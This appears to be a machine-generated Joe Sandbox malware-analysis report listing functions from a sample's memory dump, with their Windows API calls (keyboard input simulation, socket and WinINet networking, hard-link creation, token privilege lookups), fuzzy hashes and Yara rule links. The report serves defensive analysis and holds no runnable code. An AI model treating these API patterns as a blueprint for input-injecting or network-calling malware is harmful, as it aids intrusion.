Opcode Fuzzy Hash: a9ba408072f14f785cd8c5305528dbbe22f9e1c7c47c87984ba4aca9eba2e354
Instruction Fuzzy Hash: 42A112756047019FCB40DF28C885A2AB7E4FF89764F148458F99ADB3A2CB30ED45CB92

Function 00857530 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00892C7C,?), ref: 008576EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00892C7C,?), ref: 00857702
CLSIDFromProgID.OLE32(?,?,00000000,0088FB80,000000FF,?,00000000,00000800,00000000,?,00892C7C,?), ref: 00857727
_memcmp.LIBCMT ref: 00857748

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 83e7594e3256fcf0eb2dcb1fba3ee292fdd58e610264d756775b1fcdea9870a4
Instruction ID: 67efe29e4a0c0a5b70115dc9bb5d24e4d57cab29b64df67633581ed82be01bd8
Opcode Fuzzy Hash: 83e7594e3256fcf0eb2dcb1fba3ee292fdd58e610264d756775b1fcdea9870a4
Instruction Fuzzy Hash: BC810E75A00109EFCB04DFA8D984DEEB7B9FF89315F208558E505EB250DB71AE0ACB60

Function 0085687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0085688E
SysAllocString.OLEAUT32(00000000), ref: 00856937
VariantCopy.OLEAUT32 ref: 00856966
VariantClear.OLEAUT32(?), ref: 0085698D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: b02fd29df5ba3921c19c3a7c6eefabdca47fb2634918a40394470709eac7242e
Instruction ID: ed310cd6cf36d9749df4e1817d5ab54e29dac1bf4c8ea229b945625c0cb0e81b
Opcode Fuzzy Hash: b02fd29df5ba3921c19c3a7c6eefabdca47fb2634918a40394470709eac7242e
Instruction Fuzzy Hash: C051E7747003059ADF21AF69D89163AB7E5FF44315F60C81FE986DB292FA30D8588702

Function 00859A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00859AD2
__itow.LIBCMT ref: 00859B03

Part of subcall function 00859D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00859DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00859B6C
__itow.LIBCMT ref: 00859BC3

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: e3d02387f3ef33bd51224673dd43bbc7b34b0f0435d6043bf98fc3cbe11252de
Instruction ID: 235594aace9a57f74a94394187a179984a8379b1505e50dae520ec767bf47d26
Opcode Fuzzy Hash: e3d02387f3ef33bd51224673dd43bbc7b34b0f0435d6043bf98fc3cbe11252de
Instruction Fuzzy Hash: B8414F74A00218ABEF11EF58DC45BEE7BB9FF44725F000059FD45E6291DB74A948CB62

Function 008769AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 008769D1
WSAGetLastError.WSOCK32(00000000), ref: 008769E1

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00876A45
WSAGetLastError.WSOCK32(00000000), ref: 00876A51

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: a769062cf01b9af0ae77d2333af6874499a729a704cb6d9e9f8b74d4fb0630df
Instruction ID: 7be90bbab678523e3bbc11872ebf374e354e819a084e57d541d563ff6aad718e
Opcode Fuzzy Hash: a769062cf01b9af0ae77d2333af6874499a729a704cb6d9e9f8b74d4fb0630df
Instruction Fuzzy Hash: 8D418175740610AFEB90AF28CC86F2A77A4FB04B14F04C168FA99EB2C3DA709D008752

Function 0087641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0088F910), ref: 008764A7
_strlen.LIBCMT ref: 008764D9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: e525c39d3ccbf010bb2bf960832fb7c894ca0d90eea91a1893873f04cb8bbfff
Instruction ID: 0f02b209bdca7fe0f9934e5869f9e34562f6d93f2579f066f596ff95d75412c5
Opcode Fuzzy Hash: e525c39d3ccbf010bb2bf960832fb7c894ca0d90eea91a1893873f04cb8bbfff
Instruction Fuzzy Hash: A4418E31600518ABCB14EBA8EC96EAEB7A9FF04310F108165F919D7297EB30ED54CB52

Function 0086B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0086B89E
GetLastError.KERNEL32(?,00000000), ref: 0086B8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0086B8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0086B915

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: e6c6a75089b37cc8bbe6923e99ee592b7d66ccb38b350096bc13e145509cbe47
Instruction ID: 37a2a948d87f0e30625dcd038e33fc7b27802e09ea8168b6502395d2c7125412
Opcode Fuzzy Hash: e6c6a75089b37cc8bbe6923e99ee592b7d66ccb38b350096bc13e145509cbe47
Instruction Fuzzy Hash: F841E875600511DFCB51DF19C445A59BBA1FF49314F15C098ED8AEB3A2CB30ED41CB92

Function 00860AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00860B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 00860B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00860BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00860BFB

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: cb28cde595bbed39ce6bdfae03d488c8e3d6af0338974d186b5a531a1b207f41
Instruction ID: eca9f9db6163f7d45ac8b82c6cdaeadaaf2eadccdcde3f319a616722e8168b3d
Opcode Fuzzy Hash: cb28cde595bbed39ce6bdfae03d488c8e3d6af0338974d186b5a531a1b207f41
Instruction Fuzzy Hash: 3C313730940218AEFB308B698C05BFBBBA6FB45339F18835AE581D21D2C7758D449B5A

Function 00860C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 00860C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 00860C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 00860CE1
SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 00860D33

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 4c314b8977809cb9ed292a3a3543e1cf29b6fd32e79c575b8c8fd29c61f490f8
Instruction ID: 63e21bcf501d16b3341e77874b2ca88c06d962f006a73cd292a0267e67901fbb
Opcode Fuzzy Hash: 4c314b8977809cb9ed292a3a3543e1cf29b6fd32e79c575b8c8fd29c61f490f8
Instruction Fuzzy Hash: 0131353094021C6EFF348B688804BBFBB66FB45310F15431AE581D21D2C7359D45CB5A

Function 008361C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 008361FB
__isleadbyte_l.LIBCMT ref: 00836229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00836257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0083628D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 269f377e79595205de0e5b7bf50ffd08c51111c838a25eccb2a1dc85b320a3b0
Instruction ID: fa9b39869ea4a1804b0a33569817e8c295c5708dcb785262cbbe21f131c1b247
Opcode Fuzzy Hash: 269f377e79595205de0e5b7bf50ffd08c51111c838a25eccb2a1dc85b320a3b0
Instruction Fuzzy Hash: 7531A031604256BFDF218F69CC48BAB7BB9FF82310F168129E864D7191EB31D960D790

Function 00884EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00884F02

Part of subcall function 00863641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0086365B
Part of subcall function 00863641: GetCurrentThreadId.KERNEL32 ref: 00863662
Part of subcall function 00863641: AttachThreadInput.USER32(00000000,?,00865005), ref: 00863669

GetCaretPos.USER32(?), ref: 00884F13
ClientToScreen.USER32(00000000,?), ref: 00884F4E
GetForegroundWindow.USER32 ref: 00884F54

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 8da7887ceff9f778ed91c31e7231cfbd9b0e9f153eb27cb3539dfbcf9cc0d789
Instruction ID: 9a63ea80b78e3b997452ba6cc8fbeb2299f70df88cb65cc4db944e6108e7ca3f
Opcode Fuzzy Hash: 8da7887ceff9f778ed91c31e7231cfbd9b0e9f153eb27cb3539dfbcf9cc0d789
Instruction Fuzzy Hash: 84310F71D00108AFDB40EFA9CC859EFB7F9FF95304F10406AE555E7242DA719E458BA1

Function 00858656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0085810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00858121
Part of subcall function 0085810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0085812B
Part of subcall function 0085810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0085813A
Part of subcall function 0085810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00858141
Part of subcall function 0085810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00858157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 008586A3
_memcmp.LIBCMT ref: 008586C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 008586FC
HeapFree.KERNEL32(00000000), ref: 00858703

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 87a692b93412ea4e992cf9cce4bfc3bad55eab7254cf18932366cd98c6ef37d5
Instruction ID: c5efa954c130ec3da3be79a38c571d2e6b36be4e6cbb7d16a5dff323cddba2d3
Opcode Fuzzy Hash: 87a692b93412ea4e992cf9cce4bfc3bad55eab7254cf18932366cd98c6ef37d5
Instruction Fuzzy Hash: BA214671A41109EBDB10DFA8C989BAEB7F8FB54306F15405AE844AB241DB30AA09CB90

Function 0082098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 008209AE

Part of subcall function 00805A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00867896,?,?,00000000), ref: 00805A2C
Part of subcall function 00805A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00867896,?,?,00000000,?,?), ref: 00805A50

_fprintf.LIBCMT ref: 008209E5
OutputDebugStringW.KERNEL32(?), ref: 00855DBB

Part of subcall function 00824AAA: _flsall.LIBCMT ref: 00824AC3

__setmode.LIBCMT ref: 00820A1A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 04c08a5a37ad22af2a6974c3a0f57a559a6aedac1556d88a528e3a7dd8db1a07
Instruction ID: 3b3b43ef75a95017bbeff3d1feeec9871b1b20fd2651b91c3c9090c8cd8eea8f
Opcode Fuzzy Hash: 04c08a5a37ad22af2a6974c3a0f57a559a6aedac1556d88a528e3a7dd8db1a07
Instruction Fuzzy Hash: 36112B726041246FDB04B6BCBC479BE77A8FF45310F644125F106D61C3EE6058C54BB2

Function 00871767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 008717A3

Part of subcall function 0087182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0087184C
Part of subcall function 0087182D: InternetCloseHandle.WININET(00000000), ref: 008718E9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: d4f91a5cf545a76aa742cf90d649520fb6c9403541e80060cf488bbfe51be6b6
Instruction ID: 5e148e17df2635453f15e02281074165bff86d92f8cbab45fd431f8694a45616
Opcode Fuzzy Hash: d4f91a5cf545a76aa742cf90d649520fb6c9403541e80060cf488bbfe51be6b6
Instruction Fuzzy Hash: 6721F631200605BFEF169F68CC45FBABBA9FF48711F10802EFA19D6955D771D810A7A1

Function 00863A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0088FAC0), ref: 00863A64
GetLastError.KERNEL32 ref: 00863A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 00863A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0088FAC0), ref: 00863ADF

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 3f2ab19ff19f953b337a3adac7059f4861b51a091d562649ec8a84076441d6b1
Instruction ID: 802f4622443a5caaa06a73176d5c1cc44db1f3e11ada6d5cd390f9fa2a7bdfa5
Opcode Fuzzy Hash: 3f2ab19ff19f953b337a3adac7059f4861b51a091d562649ec8a84076441d6b1
Instruction Fuzzy Hash: 5E21B1305086118FC300EF28D88186BBBE4FE55368F144A2DF4A9C72E2D7319A06DB52

Function 0085DCBE Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0085F0BC: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0085DCD3,?,?,?,0085EAC6,00000000,000000EF,00000119,?,?), ref: 0085F0CB
Part of subcall function 0085F0BC: lstrcpyW.KERNEL32(00000000,?,?,0085DCD3,?,?,?,0085EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0085F0F1
Part of subcall function 0085F0BC: lstrcmpiW.KERNEL32(00000000,?,0085DCD3,?,?,?,0085EAC6,00000000,000000EF,00000119,?,?), ref: 0085F122

lstrlenW.KERNEL32(?,00000002,?,?,?,?,0085EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0085DCEC
lstrcpyW.KERNEL32(00000000,?,?,0085EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0085DD12
lstrcmpiW.KERNEL32(00000002,cdecl,?,0085EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 0085DD46

Strings

cdecl, xrefs: 0085DD3D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: f9d6364969c4c9abef5efcd8204cd3d05e271b978f29bf1340456e38e12ca1fb
Instruction ID: 52bb0fa49e26d874c5f1e20fcc2dc98414cb04c1338c24a7d21277f94a9877c4
Opcode Fuzzy Hash: f9d6364969c4c9abef5efcd8204cd3d05e271b978f29bf1340456e38e12ca1fb
Instruction Fuzzy Hash: 4711BE3A200305EBCB25AF38D84597A77B8FF45310B40802AFD06CB2A1EB719854CBA1

Function 008350E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00835101

Part of subcall function 0082571C: __FF_MSGBANNER.LIBCMT ref: 00825733
Part of subcall function 0082571C: __NMSG_WRITE.LIBCMT ref: 0082573A
Part of subcall function 0082571C: RtlAllocateHeap.NTDLL(00E10000,00000000,00000001,00000000,?,?,?,00820DD3,?), ref: 0082575F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 3f375d6fc20d69fcdb610e30b69905a7f20622dca6b140fe9d0d2596657bb340
Instruction ID: 5d668977d05c80681048010955b901e1f0e2492333cb3bb4e336bf297d2f458f
Opcode Fuzzy Hash: 3f375d6fc20d69fcdb610e30b69905a7f20622dca6b140fe9d0d2596657bb340
Instruction Fuzzy Hash: 0811A072901A25AECF313F78BC45B5E3B98FF943A1F10492AF904DA251DE34898197D1

Function 00876369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00805A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00867896,?,?,00000000), ref: 00805A2C
Part of subcall function 00805A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00867896,?,?,00000000,?,?), ref: 00805A50

gethostbyname.WSOCK32(?,?,?), ref: 00876399
WSAGetLastError.WSOCK32(00000000), ref: 008763A4
_memmove.LIBCMT ref: 008763D1
inet_ntoa.WSOCK32(?), ref: 008763DC

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

